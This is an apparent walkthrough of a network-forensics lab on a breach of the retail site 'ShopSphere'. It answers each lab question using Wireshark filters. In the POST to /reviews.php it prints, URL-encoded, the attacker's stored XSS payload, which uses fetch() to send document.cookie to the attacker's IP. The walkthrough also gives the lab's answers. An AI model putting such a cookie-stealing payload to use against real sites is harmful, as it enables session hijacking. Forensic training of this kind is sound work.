Investigate network traffic with Wireshark to identify attacker TTPs, extract XSS payloads and session tokens, and determine exploited web application vulnerabilities.
In recent days, ShopSphere, a prominent online retail platform, has experienced unusual administrative login activity during late-night hours. These logins coincide with an influx of customer complaints about unexplained account anomalies, raising concerns about a potential security breach. Initial observations suggest unauthorized access to administrative accounts, potentially indicating deeper system compromise. Your mission is to investigate the captured network traffic to determine the nature and source of the breach. Identifying how the attackers infiltrated the system and pinpointing their methods will be critical to understanding the attack's scope and mitigating its impact.
Easy - Network Forensics | Completion Achievement
- Identifying an attacker's IP address is crucial for mapping the attack's extent and planning an effective response. What is the attacker's IP address?
Since we are dealing with an online retail platform, the suspicious events probably happened over HTTP. Let's use the http display filter to see these events. After looking a bit deeper, we can see signs of web directory enumeration coming from a single IP address using a specialized pentesting tool:
Let's continue our investigation using this IP address as our starting point.
- The attacker used a directory brute-forcing tool to discover hidden paths. Which tool did the attacker use to perform the brute-forcing?
Looking at the above picture, we can see that User-Agent: gobuster/3.6, which is a pentesting tool being used here for brute-forcing web directories.
- Cross-Site Scripting (XSS) allows attackers to inject malicious scripts into web pages viewed by users. Can you specify the XSS payload that the attacker used to compromise the integrity of the web application?
Using the following display filter, we can read all HTTP POST requests coming from the attacker IP that are not related to gobuster enumeration: ip.src == 111.224.180.128 and http.user_agent != "gobuster/3.6" and http.request.method == POST. There's only two POST requests here, one of them should contain an XSS payload:
POST /reviews.php HTTP/1.1
Host: shopsphere.com
...
Upgrade-Insecure-Requests: 1
review=%3Cscript%3Efetch%28%27http%3A%2F%2F111.224.180.128%2F%27+%2B+document.cookie%29%3B%3C%2Fscript%3EHTTP/1.1 200 OK
Date: Fri, 29 Mar 2024 12:08:47 GMT
Server: Apache/2.4.52 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
...This POST request looks suspicious, let's decode it using CyberChef to find out what the XSS payload is:
- Pinpointing the exact moment an admin user encounters the injected malicious script is crucial for understanding the timeline of a security breach. Can you provide the UTC timestamp when the admin user first visited the page containing the injected malicious script?
Using the following display filter, we can see all web requests to the URI where the attacker embedded the XSS payload while excluding the attacker IP: ip.src!=111.224.180.128 and http.request.uri == "/reviews.php" . We can see a single request happening AFTER the payload was inserted in packet 10106:
The HTTP response contains the XSS payload implanted by the attacker.
- The theft of a session token through XSS is a serious security breach that allows unauthorized access. Can you provide the session token that the attacker acquired and used for this unauthorized access?
The XSS payload implanted by the attacker forces the victim to make a web request to the attacker's own HTTP server with the cookies that the victim might use in the website (document.cookie). As seen in the above request, the only cookie stored is the PHPSESSID belonging to the admin user.
- Identifying which scripts have been exploited is crucial for mitigating vulnerabilities in a web application. What is the name of the script that was exploited by the attacker?
Looking at the HTTP requests done by the attacker after obtaining the PHPSESSID cookie, we can see an attempt to abuse a script in the admin dashboard to do a Path Traversal attack:
The URI contains the name of the script.
- Exploiting vulnerabilities to access sensitive system files is a common tactic used by attackers. Can you identify the specific payload the attacker used to access a sensitive system file?
Looking deeper into the above packet by following the HTTP stream, we can find the payload used to read the /etc/passwd file inside the URI:
